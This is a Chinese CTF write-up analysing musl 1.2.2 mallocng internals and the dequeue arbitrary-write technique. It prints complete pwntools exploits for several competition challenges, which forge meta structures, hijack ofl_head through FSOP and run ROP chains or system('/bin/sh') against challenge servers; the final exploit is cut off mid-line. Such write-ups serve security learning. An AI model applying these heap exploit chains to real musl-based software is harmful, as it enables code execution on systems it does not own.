Loading... # 写在一年后 在现在向前看,发现自己也算半个 musl 大师了,自从 RCTF2021 的 musl 题之后的每场比赛只要出现 musl 我都能解出,也从最开始的写一天到现在的两三个小时打通,有时候还能拿个N血。这是什么原因呢?很简单,每道题都是换汤不换药,都是同样的攻击点,也就是 dequeue 操作,堆风水上稍稍有些区别,但也差不多,然后再开个 seccomp 恶心选手。很没有意思啦。还是希望 CTF 比赛不要盲目追求难度(特指的是各种严苛的而又重复的堆利用)能少出现一些重复的套路题,多一些有意思的题目。 # 正文开始 这次的 RCTF 正好碰上军训,同级的队友只有我请出了假,所以基本上就只有三四个人在做题,非常的凄惨。pwn 题到最后一共放出来了 8 道,除了两个用 musl malloc 的题目之外代码都极度混乱,本身我的逆向能力比较弱,碰到这种题目就很头疼。我一共做出来两道题,musl 和 sharing。sharing 这题比较简单,就不写 wp 了,musl 这题应该也算一个比较裸的 musl malloc 利用。之前在 WMCTF 的时候有做过一道用 musl 1.1.4 的题目,musl malloc 在 1.2 之前和 ptmalloc2 比较相似,所以学习成本不高。本题用的是 musl 1.2.2,堆分配策略大改,比赛的时候就只能现学。近期的比赛中经常出现 musl 的堆题,不过 Musl-mallocng 的利用面现在来看非常窄,网络上的资料仅有利用 dequeue 任意地址写的一个利用点,碰到的题目都是使用这个点,这里就只简单写一下这个利用方法。更多关于 Musl-mallocng 的分配原理这里不写,因为我也不是很清楚,近期不是很有兴趣去学习。 ## 对 musl 的 dequeue 利用的简单分析 这种利用类似 ptmalloc 中的 unlink 攻击,并且几乎没有保护。 musl 中,由一个 malloc_context 结构体管理整个堆,其定义为 ```cpp struct malloc_context { uint64_t secret; #ifndef PAGESIZE size_t pagesize; #endif int init_done; unsigned mmap_counter; struct meta *free_meta_head; struct meta *avail_meta; size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head, *meta_area_tail; unsigned char *avail_meta_areas; struct meta *active[48]; size_t usage_by_class[48]; uint8_t unmap_seq[32], bounces[32]; uint8_t seq; uintptr_t brk; }; ``` 实例名为 `ctx`,在 gdb 中可以用 `__malloc_context` 来访问。pagesize 这个变量默认是不会生效的。 malloc_context 管理的是 meta 和 meta_area 结构体,两者的定义为 ```cpp struct meta { struct meta *prev, *next; struct group *mem; volatile int avail_mask, freed_mask; uintptr_t last_idx:5; uintptr_t freeable:1; uintptr_t sizeclass:6; uintptr_t maplen:8*sizeof(uintptr_t)-12; }; struct meta_area { uint64_t check; struct meta_area *next; int nslots; struct meta slots[]; }; ``` 分配给用户的内存是在一个个的 group 结构体中的,定义为 ```cpp #define UNIT 16 struct group { struct meta *meta; unsigned char active_idx:5; char pad[UNIT - sizeof(struct meta *) - 1]; // 这里是 0x10 对齐 unsigned char storage[]; }; ``` 每一个 group 结构体都有一个 meta 结构体管理。 上面列出了几个关键结构体,先有个印象就行。 首先,从管理器的最小单位说起,也就是分配给用户的 chunk。源码中并没有显式地定义出 chunk 结构体,实际上其结构为 ```cpp struct chunk { uint8_t idx; // 低 5bit 作为 idx 表示这是 group 中第几个 chunk, 高3bit作为 reserved uint16_t offset; // 与第一个 chunk 的偏移 char user_data[]; }; ``` user_data 这里就是供用户使用的地方了。假设用户申请后获得的指针为 char *p,那么 p 就指向 user_data[] 的头部。而前面的 idx 和 offset 就是此 chunk 的元数据域了,仅占 4 Byte。 之前有说到,每个 group 由一个 meta 来管理,这个 meta 负责维护 group 内所有 chunk 的分配情况,group 的头部就保存了该 meta 结构体的指针,每个 chunk 的元数据存在的一个意义就是为了计算出此 chunk 所在的 group 结构体的头部,由此获得管理该 group 的 meta 指针。这个操作由 get_meta 函数完成,实现如下 ```cpp static inline struct meta *get_meta(const unsigned char *p) { assert(!((uintptr_t)p & 15)); int offset = *(const uint16_t *)(p - 2); int index = get_slot_index(p); if (p[-4]) { assert(!offset); offset = *(uint32_t *)(p - 8); assert(offset > 0xffff); } const struct group *base = (const void *)(p - UNIT*offset - UNIT); const struct meta *meta = base->meta; assert(meta->mem == base); assert(index <= meta->last_idx); assert(!(meta->avail_mask & (1u<<index))); assert(!(meta->freed_mask & (1u<<index))); const struct meta_area *area = (void *)((uintptr_t)meta & -4096); assert(area->check == ctx.secret); if (meta->sizeclass < 48) { assert(offset >= size_classes[meta->sizeclass]*index); assert(offset < size_classes[meta->sizeclass]*(index+1)); } else { assert(meta->sizeclass == 63); } if (meta->maplen) { assert(offset <= meta->maplen*4096UL/UNIT - 1); } return (struct meta *)meta; } ``` 为了弄清计算方法,先把所有的检查去掉 ```cpp static inline int get_slot_index(const unsigned char *p) { return p[-3] & 31; } static inline struct meta *get_meta(const unsigned char *p) { int offset = *(const uint16_t *)(p - 2); int index = get_slot_index(p); if (p[-4]) { offset = *(uint32_t *)(p - 8); } const struct group *base = (const void *)(p - UNIT*offset - UNIT); const struct meta *meta = base->meta; return (struct meta *)meta; } ``` 传入的 p 指向用户数据区,`*(const uint16_t *)(p - 2)` 取得 offset 的值,然后通过 `const struct group *base = (const void *)(p - UNIT*offset - UNIT);` 计算出所在的 group 结构体的首地址。 那么我们考虑一下如何在这里伪造 meta。如果程序存在 4 字节以上的溢出,能够做到修改某个 chunk 的 offset,以修改为 0 为例,那么 base 的值就是 `p - 0x10` 了,返回的 meta 指针就是上一个 chunk 的最后 8 个字节的值了,这样可以起到伪造 meta 指针的效果(当然过程中要通过一些检查,这个等下再说)。 上面说了可以伪造 meta,那为啥要伪造 meta 呢,因为在 `nontrivial_free` 操作中 ```cpp static struct mapinfo nontrivial_free(struct meta *g, int i) { uint32_t self = 1u<<i; int sc = g->sizeclass; uint32_t mask = g->freed_mask | g->avail_mask; if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) { // any multi-slot group is necessarily on an active list // here, but single-slot groups might or might not be. if (g->next) { assert(sc < 48); int activate_new = (ctx.active[sc]==g); dequeue(&ctx.active[sc], g); if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]); } return free_group(g); } else if (!mask) { assert(sc < 48); // might still be active if there were no allocations // after last available slot was taken. if (ctx.active[sc] != g) { queue(&ctx.active[sc], g); } } a_or(&g->freed_mask, self); return (struct mapinfo){ 0 }; } ``` 存在一个 `dequeue` 操作,其实现是这样的 ```cpp static inline void dequeue(struct meta **phead, struct meta *m) { if (m->next != m) { m->prev->next = m->next; m->next->prev = m->prev; if (*phead == m) *phead = m->next; } else { *phead = 0; } m->prev = m->next = 0; } ``` 可以看到很像上古版本的 ptmalloc 的 unlink 操作,通过对一个伪造的 meta 进行 dequeue 操作,可以起到任意地址写的效果。 还有很多细节没说,之后有空再补。 ## 对题目的分析 漏洞点很明显,即 add 函数中 ```cpp chunk_ptr->content = (char *)malloc(size); chunk_ptr->size = size - 1; puts("Contnet?"); return readn((__int64)chunk_ptr->content, chunk_ptr->size);// overflow ``` size 为 0 时存在堆溢出,可以几乎无限溢出。 同时输入使用 read,没有 '\0' 截断,所以 leak 很容易 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"] context.os = 'linux' context.arch = 'amd64' #sh = process(["./libc.so", "./r"]) libc = ELF("./libc.so") sh = remote("123.60.25.24", 12345) def add(idx, size, payload): sh.sendlineafter(">>", '1') sh.sendlineafter("idx?", str(idx)) sh.sendlineafter("size?", str(size)) sh.sendafter("Contnet?", payload) def delete(idx): sh.sendlineafter(">>", '2') sh.sendlineafter("idx?", str(idx)) def show(idx): sh.sendlineafter(">>", '3') sh.sendlineafter("idx?", str(idx)) add(0, 0xC, '0' + '\n') # 0 add(1, 0xC, '\n') # 1 add(2, 0xC, '0' + '\n') # 2 add(3, 0xC, '\n') # 3 add(4, 0xC, '0' + '\n') # 4 add(5, 0xC, '\n') # 5 add(6, 0xC, '0' + '\n') # 6 add(7, 0xC, '\n') # 7 add(8, 0xC, '0' + '\n') # 8 add(9, 0x2000, '\n') # 9 add(10, 0x2000, '\n') # 10 for i in range(30 - 10): add(15, 0xC, '\n') delete(0) add(0, 0, 'a' * 0xF + '\n') show(0) sh.recvuntil('a' * 0xF + '\n') heap_addr = u64(sh.recv(6).ljust(8, '\x00')) libc_base = heap_addr - 0x298D50 log.success("libc_base: " + hex(libc_base)) __malloc_context_addr = libc_base + libc.sym["__malloc_context"] log.success("__malloc_context_addr: " + hex(__malloc_context_addr)) delete(2) add(2, 0, 'a' * 0x10 + p64(__malloc_context_addr) + '\n') show(3) sh.recvuntil("Content: ") secret = u64(sh.recv(8)) log.success("secret: " + hex(secret)) ``` 这样就可以 leak 出来了。这里要注意的是一般情况下 musl 中被释放的 chunk 不能被立刻申请回来,所以这里先填满了一个 group 再进行释放,就可以申请回来了。 既然有溢出,就可以考虑伪造 meta 结构体进行 dequeue 进行任意地址写。任意地址写后似乎有很多种方法,我使用了比较简单的 fsop,即写 `ofl_head` 指针,这个东西和 glibc 中的 `_IO_list_all` 比较像,在 `exit` 中会调用 `__stdio_exit` ```cpp void __stdio_exit(void) { FILE *f; for (f=*__ofl_lock(); f; f=f->next) close_file(f); close_file(__stdin_used); close_file(__stdout_used); close_file(__stderr_used); } ``` 这里会遍历链表上的所有文件结构体,并执行 `close_file` ```cpp static void close_file(FILE *f) { if (!f) return; FFINALLOCK(f); if (f->wpos != f->wbase) f->write(f, 0, 0); if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR); } ``` 劫持掉 write 或者 seek 指针后 rop 即可。 最后的 exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"] context.os = 'linux' context.arch = 'amd64' #sh = process(["./libc.so", "./r"]) libc = ELF("./libc.so") sh = remote("123.60.25.24", 12345) def add(idx, size, payload): sh.sendlineafter(">>", '1') sh.sendlineafter("idx?", str(idx)) sh.sendlineafter("size?", str(size)) sh.sendafter("Contnet?", payload) def delete(idx): sh.sendlineafter(">>", '2') sh.sendlineafter("idx?", str(idx)) def show(idx): sh.sendlineafter(">>", '3') sh.sendlineafter("idx?", str(idx)) add(0, 0xC, '0' + '\n') # 0 add(1, 0xC, '\n') # 1 add(2, 0xC, '0' + '\n') # 2 add(3, 0xC, '\n') # 3 add(4, 0xC, '0' + '\n') # 4 add(5, 0xC, '\n') # 5 add(6, 0xC, '0' + '\n') # 6 add(7, 0xC, '\n') # 7 add(8, 0xC, '0' + '\n') # 8 add(9, 0x2000, '\n') # 9 add(10, 0x2000, '\n') # 10 for i in range(30 - 10): add(15, 0xC, '\n') delete(0) add(0, 0, 'a' * 0xF + '\n') show(0) sh.recvuntil('a' * 0xF + '\n') heap_addr = u64(sh.recv(6).ljust(8, '\x00')) libc_base = heap_addr - 0x298D50 log.success("libc_base: " + hex(libc_base)) __malloc_context_addr = libc_base + libc.sym["__malloc_context"] log.success("__malloc_context_addr: " + hex(__malloc_context_addr)) delete(2) add(2, 0, 'a' * 0x10 + p64(__malloc_context_addr) + '\n') show(3) sh.recvuntil("Content: ") secret = u64(sh.recv(8)) log.success("secret: " + hex(secret)) sc = 0 freeable = 1 last_idx = 0 maplen = 0 ofl_head_addr = libc_base + 0x297E68 fake_mem_addr = heap_addr + 0xF0 - 0x50 ret = libc_base + 0x598 pop_rax_ret = libc_base + 0x000000000001b8fd pop_rdi_ret = libc_base + 0x0000000000014b82 pop_rdx_ret = libc_base + 0x0000000000009328 pop_rsi_ret = libc_base + 0x000000000001b27a syscall = libc_base + 0x0000000000001d14 syscall_ret = libc_base + 0x0000000000023711 rop_chain = 'a' * 0x300 rop_chain += p64(pop_rdi_ret) rop_chain += p64(fake_mem_addr + 0x100 - 0x40) rop_chain += p64(pop_rsi_ret) rop_chain += p64(0) rop_chain += p64(libc_base + libc.sym["open"]) rop_chain += p64(pop_rdi_ret) rop_chain += p64(3) rop_chain += p64(pop_rsi_ret) rop_chain += p64(fake_mem_addr - 0x1000) rop_chain += p64(pop_rdx_ret) rop_chain += p64(0x1000) rop_chain += p64(pop_rax_ret) rop_chain += p64(217) rop_chain += p64(syscall_ret) # 以下用来读出 flag #rop_chain += p64(pop_rdi_ret) #rop_chain += p64(3) #rop_chain += p64(pop_rsi_ret) #rop_chain += p64(fake_mem_addr - 0x1000) #rop_chain += p64(pop_rdx_ret) #rop_chain += p64(0x1000) #rop_chain += p64(libc_base + libc.sym["read"]) rop_chain += p64(pop_rdi_ret) rop_chain += p64(1) rop_chain += p64(pop_rsi_ret) rop_chain += p64(fake_mem_addr - 0x1000) rop_chain += p64(pop_rdx_ret) rop_chain += p64(0x1000) rop_chain += p64(libc_base + libc.sym["write"]) payload = rop_chain payload = payload.ljust((0x1000 - 0x30), 'a') payload += p64(secret) + p64(0) # fake_meta payload += p64(ofl_head_addr - 0x8) # prev payload += p64(fake_mem_addr) # next payload += p64(fake_mem_addr) # mem payload += p32(0) + p32(0) # avail_mask, freed_mask payload += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx) payload += p64(0) delete(9) add(9, 0x2000, payload + '\n') # 9 delete(8) add(8, 0, 'a' * 0xF + '\n') show(8) sh.recvuntil('a' * 0xF + '\n') mmaped_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x30 log.success("mmaped: " + hex(mmaped_addr)) delete(6) add(6, 0, p64(mmaped_addr + 0x1000 + 0x10) + p64(0) + p64(heap_addr + 0x20 + 0xF0 - 0x50) + '\n') delete(7) magic_gadget = libc_base + 0x4a5ae payload = 'a' * 0x40 # padding fake_file = p64(0) # flags fake_file += p64(0) * 2 # rpos, rend fake_file += p64(0) # (*close)(FILE *); fake_file += p64(0) + p64(0) # wend, wpos fake_file += p64(mmaped_addr + 0x30 + 0x300) # mustbezero_1, [rdi + 0x30] fake_file += p64(ret) # wbase, [rdi + 0x38] fake_file += p64(0) # (*read)(FILE *, unsigned char *, size_t) fake_file += p64(magic_gadget) # (*write)(FILE *, const unsigned char *, size_t) fake_file = fake_file.ljust(0x8C, '\x00') fake_file += p32(0xFFFFFFFF) payload += fake_file payload = payload.ljust(0x100, 'a') payload += '/home/ctf/flag/\x00' delete(4) add(4, 0, payload + '\n') #gdb.attach(proc.pidof(sh)[0]) sh.sendlineafter(">>", '4') sh.interactive() ``` 题目的 flag 名字不叫 flag,所以我先用了一次 getdents64 把文件名读出来,然后再读 flag。这种方法感觉不甚优雅,不知道有没有更好的办法。 *注:flag 叫 `0_l78zflag`* ## reference > https://www.anquanke.com/post/id/246929 ## 又及 几天后的第五空间中也出现了一个 musl 的堆题,和这道题也差不多,我感觉这种一直拿着个 musl 出题十分无聊,而且也都是 dequeue 的利用,区别只在 fake_mem 和 fake_meta 的伪造上,这里贴个 exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"] def UpdateInfo(size, name, info): sh.sendlineafter("~$ ", 'UpdateInfo') sh.sendlineafter("Length: ", str(size)) sh.sendafter("Name: ", name) sh.sendafter("Info: ", info) def ViewInfo(): sh.sendlineafter("~$ ", 'ViewInfo') def AddNote(size, note): sh.sendlineafter("~$ ", 'AddNote') sh.sendlineafter("Size: ", str(size)) sh.sendafter("Note: ", note) def DelNote(idx): sh.sendlineafter("~$ ", 'DelNote') sh.sendlineafter("Index: ", str(idx)) def ShowNote(idx): sh.sendlineafter("~$ ", 'ShowNote') sh.sendlineafter("Index: ", str(idx)) def backdoor(addr): sh.sendlineafter("~$ ", 'B4ckD0or') sh.sendlineafter("Addr: ", str(addr)) def tempNote(addr, payload): sh.sendlineafter("~$ ", 'TempNote') sh.sendlineafter("note: ", str(addr)) sh.sendafter("Note: ", payload) def EditNote(idx, payload): sh.sendlineafter("~$ ", 'EditNote') sh.sendlineafter("Index: ", str(idx)) sh.sendafter("Note: ", payload) #sh = process(["./libc.so", "./notegame"]) sh = remote("114.115.152.113", 49153) libc = ELF("./libc.so") #sh = remote() AddNote(0x20, 'a' * 0x20) for _ in range(7): AddNote(0x3C, 'a' * 0x3C) for i in range(6): DelNote(i + 1) UpdateInfo(0x10, 'a' * 0x10, 'b' * 0x10) ViewInfo() sh.recvuntil('a' * 0x20) libc_base = u64(sh.recv(6).ljust(0x8, '\x00')) - 0xB7C90 log.success("libc_base: " + hex(libc_base)) __malloc_context = libc_base + 0xB4AC0 log.success("__malloc_context: " + hex(__malloc_context)) backdoor(__malloc_context) sh.recvuntil("Mem: ") secret = u64(sh.recv(8)) log.success("secret: " + hex(secret)) sc = 6 freeable = 1 last_idx = 1 maplen = 1 ofl_head_addr = libc_base + 0xB6E48 fake_mem_addr = libc_base + 0xB7940 mmaped_addr = 0xDEADBEEF000 pop_rdi_ret = libc_base + 0x00000000000152a1 system = libc_base + libc.sym["system"] magic_gadget = libc_base + 0x000000000007b1f5 ret = libc_base + 0x00000000000152a2 bin_sh_str = libc_base + libc.search("/bin/sh\x00").next() pop_rsp_ret = libc_base + 0x0000000000015e47 mov_rsp_rdx_jmp_rax = libc_base + 0x0000000000079332 pop_rdx_ret = libc_base + 0x000000000002cdae pop_rax_ret = libc_base + 0x0000000000016a96 pop_rsi_ret = libc_base + 0x000000000001dad9 syscall = libc_base + 0x0000000000015a42 payload = p64(secret) + p64(0) payload += p64(ofl_head_addr - 0x8) # prev payload += p64(fake_mem_addr) # next payload += p64(fake_mem_addr) # mem payload += p32(2) + p32(0) # avail_mask, freed_mask payload += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx) payload += p64(0) # 0x40 payload += p64(pop_rdi_ret) payload += p64(bin_sh_str) payload += p64(pop_rsi_ret) payload += p64(0) payload += p64(pop_rdx_ret) payload += p64(0) payload += p64(pop_rax_ret) payload += p64(59) payload += p64(syscall) #payload += p64(pop_rdx_ret) #payload += p64(fake_mem_addr & 0xFFFFFFFFFFFFF000) #payload += p64(pop_rax_ret) #payload += p64(system) #payload += p64(ret) #payload += p64(mov_rsp_rdx_jmp_rax) payload += '\n' tempNote(mmaped_addr, payload) payload = '\xFF'.ljust(0x7C, '\xFF') AddNote(0x6C, payload) # 1 AddNote(0x6C, payload) fake_file = p64(0) # flags fake_file += p64(0) * 2 # rpos, rend fake_file += p64(0) # (*close)(FILE *); fake_file += p64(0) + p64(0) # wend, wpos fake_file += p64(mmaped_addr + 0x40) # mustbezero_1, [rdi + 0x30] fake_file += p64(ret) # wbase, [rdi + 0x38] fake_file += p64(0) # (*read)(FILE *, unsigned char *, size_t) fake_file += p64(magic_gadget) # (*write)(FILE *, const unsigned char *, size_t) AddNote(0x6C, fake_file[0x10:] + '\n') AddNote(0x6C, payload) AddNote(0x6C, payload) AddNote(0x6C, payload) AddNote(0x6C, payload) log.success("fake_mem_addr: " + hex(fake_mem_addr)) EditNote(2, 'C' * 0x60 + p64(mmaped_addr + 0x10) + '\n') DelNote(3) #gdb.attach(proc.pidof(sh)[0]) sh.sendlineafter("~$ ", "Exit") sh.interactive() ``` 绕过程中的检查和避免越界只要见招拆招,改相应的参数即可。我在比赛的时候拘泥于 RCTF 这题的伪造方式,一直通不过 free 操作,浪费了大量时间,幸好及时想到改参数,否则应该就做不出来了。 ### *CTF 2022 babynote 2022.4.16 的 StarCTF 中也出现一道 musl,musl 题真的很没意思,我也不新开文章去水了,就写在这里了。利用的仍然是 dequeue 操作 在 delete 时,没有置空 next 指针,所以存在 UAF。 考虑先 free 一个 0x28 大小的 group,然后 new note,让 note 结构体占位到这个 group 上,再 UAF show 出来就可以 leak 了。之后也可以通过控制 next 指针实现任意地址 free。伪造 meta 和 group fsop 即可 getshell。 为了使 note 结构体占位到 content 上,可能需要一点堆风水,这里通过把 note 结构体和 content 分开到两个 groups 中(也就是从属于两个不同的 meta)实现。 ```Python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"] #sh = process(["./libc.so", "./babynote"]) #sh = process("./babynote") sh = remote("123.60.76.240", "60001") libc = ELF("./libc.so") def add_note(name_size, name, content_size, content): sh.sendlineafter("option:", '1') sh.sendlineafter("name size:", str(name_size)) sh.sendafter("name:", name) sh.sendlineafter("note size:", str(content_size)) sh.sendafter("content:", content) def find_note(name_size, name): sh.sendlineafter("option:", '2') sh.sendlineafter("name size:", str(name_size)) sh.sendafter("name:", name) def delete_note(name_size, name): sh.sendlineafter("option:", '3') sh.sendlineafter("name size:", str(name_size)) sh.sendafter("name:", name) def forget_all_notes(): sh.sendlineafter("option:", '4') def translate(string): string = string[::-1] list_str = list(string) for i in range(0, len(string), 2): list_str[i], list_str[i + 1] = list_str[i + 1], list_str[i] return "".join(list_str) add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') add_note(0x28, 'cccc\n', 0x28, 'CCCC\n') add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 9 0x28 group forget_all_notes() add_note(0x18, 'aaaa\n', 0x28, 'A' * 0x28) # name and struct in first meta, content in the next # the first mate will be inactivate add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 4 0x28 group add_note(0x28, 'cccc\n', 0x28, 'CCCC\n') # 7 0x28 group add_note(0x28, 'dddd\n', 0x28, 'DDDD\n') # 10 0x28 add_note(0x18, 'eeee\n', 0x18, 'EEEE\n') # 1 0x28 group, sencond meta will be inactivate delete_note(0x4, 'aaaa') # free three 0x28 group add_note(0x28, 'fill\n', 0x28, 'fill\n') add_note(0x28, 'fill\n', 0x28, 'fill\n') add_note(0x28, 'fill\n', 0x28, 'fill\n') add_note(0xc, 'replace\n', 0xc, 'replace\n') find_note(0x4, 'aaaa') # leaked sh.recvuntil("0x28:") log.success(sh.recv(12)) sh.recv(4) proc_base = int(translate(sh.recv(12)), base = 16) - 0x4860 log.success("proc_base: " + hex(proc_base)) sh.recv(4) sh.recv(32) # this is the donately address libc_base = int(translate(sh.recv(12)), base = 16) - 0xB7BB0 log.success(hex(libc_base)) sh.recv(4) # start it all over again add_note(0xc, 'bbbb\n', 0xc, 'BBBB\n') forget_all_notes() add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') add_note(0x28, 'cccc\n', 0x28, 'CCCC\n') add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 9 0x28 group forget_all_notes() add_note(0x18, 'aaaa\n', 0x28, 'A' * 0x28) # name and struct in first meta, content in the next # the first mate will be inactivate add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 4 0x28 group add_note(0x28, 'cccc\n', 0x28, 'CCCC\n') # 7 0x28 group add_note(0x28, 'dddd\n', 0x28, 'DDDD\n') # 10 0x28 add_note(0x18, 'eeee\n', 0x18, 'EEEE\n') # 1 0x28 group, sencond meta will be inactivate delete_note(0x4, 'aaaa') # free three 0x28 group add_note(0x28, 'fill\n', 0x28, 'fill\n') add_note(0x28, 'fill\n', 0x28, 'fill\n') add_note(0x28, 'fill\n', 0x28, 'fill\n') known_name_addr = libc_base + 0xB7080 known_name = p64(libc_base + 0xB7F50) secret_addr = libc_base + 0xB4AC0 fake_note = p64(known_name_addr) + p64(secret_addr) fake_note += p64(0x8) + p64(0x28) fake_note += p64(0)[:-1] + '\n' add_note(0x70, 'replace\n', 0x28, fake_note) # gdb.attach(sh) find_note(8, known_name) sh.recvuntil("0x28:") secret = int(translate(sh.recv(16)), base = 16) log.success("secret: " + hex(secret)) # start it all over again forget_all_notes() # fake the meta ofl_head_addr = libc_base + 0xB6E48 sc = 0 freeable = 1 last_idx = 0 maplen = 1 fake_group_addr_base = libc_base - 0x7000 + 0x20 fake_group_addr = libc_base - 0x7000 + 0x120 + 0x1000 fake_mem_base = fake_group_addr_base - 0x20 + 0x1000 + 0x100 fake_meta_addr = fake_group_addr_base - 0x20 + 0x1000 + 0x18 fake_group = "AAAABBBBCCCCDDDD" # sign fake_group = fake_group.ljust(0x1000 - 0x20, '\x00') fake_group += p64(secret) + p64(0) + p64(1) # 0x10 fake_meta = "" fake_meta += p64(ofl_head_addr - 0x8) # next fake_meta += p64(proc_base + 0x4450) # prev fake_meta += p64(fake_mem_base + 0x10) fake_meta += p32(0) + p32(0) # avail_mask, freed_masx fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx) fake_meta += p64(0) fake_group += fake_meta fake_group = fake_group.ljust(0x1000 + 0x100 - 0x20, '\x00') # 0x1100 # fake a group here fake_group += p64(fake_meta_addr) + p64(0) # 0x1110 fake_group += p64(fake_meta_addr) + p32(0) + p16(0x00) + p16(0) # 0x1120 fake_file = '/bin/sh\x00' # flags fake_file += p64(0) * 2 # rpos, rend fake_file += p64(0) # (*close)(FILE *); fake_file += p64(0) + p64(1) # wend, wpos fake_file += p64(0) fake_file += p64(0) # wbase fake_file += p64(0) # (*read)(FILE *, unsigned char *, size_t) system = libc_base + libc.sym["system"] fake_file += p64(system) # (*write)(FILE *, const unsigned char *, size_t) fake_group += fake_file + '\n' add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') add_note(0x28, 'cccc\n', 0x28, 'CCCC\n') add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 9 0x28 group forget_all_notes() add_note(0x18, 'aaaa\n', 0x28, 'A' * 0x28) # name and struct in first meta, content in the next # the first mate will be inactivate add_note(0x28, 'bbbb\n', 0x28, 'BBBB\n') # 4 0x28 group add_note(0x28, 'cccc\n', 0x28, 'CCCC\n') # 7 0x28 group add_note(0x28, 'dddd\n', 0x28, 'DDDD\n') # 10 0x28 add_note(0x18, 'eeee\n', 0x2000, fake_group) # 1 0x28 group, sencond meta will be inactivate delete_note(0x4, 'aaaa') # free three 0x28 group add_note(0x28, 'fill\n', 0x28, 'fill\n') add_note(0x28, 'fill\n', 0x28, 'fill\n') add_note(0x28, 'fill\n', 0x28, 'fill\n') add_note(0x28, 'fill\n', 0x28, 'fill\n') add_note(0x28, 'fill\n', 0x28, 'fill\n') add_note(0x28, 'fill\n', 0x28, 'fill\n') add_note(0x18, 'fill\n', 0x18, 'fill\n') known_name_addr = libc_base + 0xB7660 known_name = p64(proc_base + 0x4f30) fake_note = p64(known_name_addr) + p64(fake_group_addr) fake_note += p64(0x8) + p64(0x28) fake_note += p64(0)[:-1] + '\n' add_note(0x70, fake_file.ljust(0x70, '\x00')[:-1] + '\n', 0x28, fake_note) log.success("fake_group_addr: " + hex(fake_group_addr)) delete_note(8, known_name) forget_all_notes() #gdb.attach(sh) add_note(0x8, 'file\n', 0x100, fake_file.ljust(0xF0, '\x00')[:-8] + p64(0xDEADBEEF13377331) + '\n') sh.sendlineafter("option:", "5") sh.interactive() ``` ### 强网杯 2022 UserManage 这题由于比赛时我们很早就分析出来是红黑树,并且一开始就发现有 UAF,所以拿了个一血,利用和前面的方法还是一样的,这里贴个 exp ```python #!/usr/bin/env python # coding=utf-8 from base64 import urlsafe_b64decode from pwn import * context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"] # sh = process("./UserManager") sh = remote("182.92.223.176", 27224) def add(idx, len, payload): sh.sendlineafter(": ", '1') sh.sendlineafter("Id: ", str(idx)) sh.sendlineafter("UserName length", str(len)) sh.sendafter("UserName: ", payload) def show(idx): sh.sendlineafter(": ", '2') sh.sendlineafter("Id: ", str(idx)) def delete(idx): sh.sendlineafter(": ", '3') sh.sendlineafter("Id: ", str(idx)) def clear(): sh.sendlineafter(": ", '4') add(0, 0x38, "A" * 0x30 + '\n') add(1, 0x38, "B" * 0x30 + '\n') add(2, 0x38, "C" * 0x30 + '\n') add(3, 0x38, "D" * 0x30 + '\n') clear() add(0, 0x38, "B" * 0x30 + '\n') add(1, 0xC, "D" * 0x3 + '\n') clear() add(0, 0x38, "A" * 0x30 + '\n') add(0, 0x38, "E" * 0x30 + '\n') add(1, 0xC, "F" * 0x3 + '\n') show(0) sh.recv(8) libc_base = u64(sh.recv(8)) - (0x7f5a0d425880 - 0x7f5a0d36e000) sh.recv(24) proc_base = u64(sh.recv(8)) - (0x55919135fd40 - 0x55919135a000) log.success("libc_base: " + hex(libc_base)) log.success("proc_base: " + hex(proc_base)) secret_addr = libc_base + 0xB4AC0 fake_user = "" fake_user += p64(0) fake_user += p64(secret_addr) fake_user += p64(0x8) fake_user = fake_user.ljust(0x37, '\x00') + '\n' add(1, 0x38, fake_user) show(0) secret = u64(sh.recv(8)) log.success("secret: " + hex(secret)) clear() ofl_head = libc_base + 0xb6e48 fake_meta_addr = libc_base - 0x7000 + 0x1000 + 0x10 log.success("fake_meta_addr: " + hex(fake_meta_addr)) fake_memory_start = libc_base - 0x7000 fake_chunk_addr = fake_memory_start + 0x30 log.success("fake_chunk_addr: " + hex(fake_chunk_addr)) sc = 0 freeable = 1 last_idx = 0 maplen = 1 fake_chunk = "" fake_chunk += p64(fake_meta_addr) fake_chunk += p64(0) fake_file = "" fake_file = '/bin/sh\x00' # flags fake_file += p64(0) * 2 # rpos, rend fake_file += p64(0) # (*close)(FILE *); fake_file += p64(0) + p64(1) # wend, wpos fake_file += p64(0) fake_file += p64(0) # wbase fake_file += p64(0) # (*read)(FILE *, unsigned char *, size_t) system = libc_base + 0x50a90 fake_file += p64(system) # (*write)(FILE *, const unsigned char *, size_t) fake_meta = p64(0xDEADBEEF13377331) fake_meta += p64(0) fake_meta += fake_chunk fake_meta += '\x00' * 0x100 fake_meta += fake_file fake_meta = fake_meta.ljust(0x1000 - 0x20, '\x00') # padding fake_meta += p64(secret) + p64(0) fake_meta += p64(ofl_head - 0x8) # prev fake_meta += p64(libc_base + 0xb7070) # next fake_meta += p64(fake_chunk_addr) # mem fake_meta += p32(0) + p32(0) # avail_mask, freed_mask fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx) fake_meta += p64(0) fake_meta += '\n' add(0, 0x2000, fake_meta) add(1, 0x38, "A" * 0x30 + '\n') add(2, 0x38, "B" * 0x30 + '\n') add(3, 0x38, "C" * 0x30 + '\n') clear() # all cleared add(0, 0x38, "B" * 0x30 + 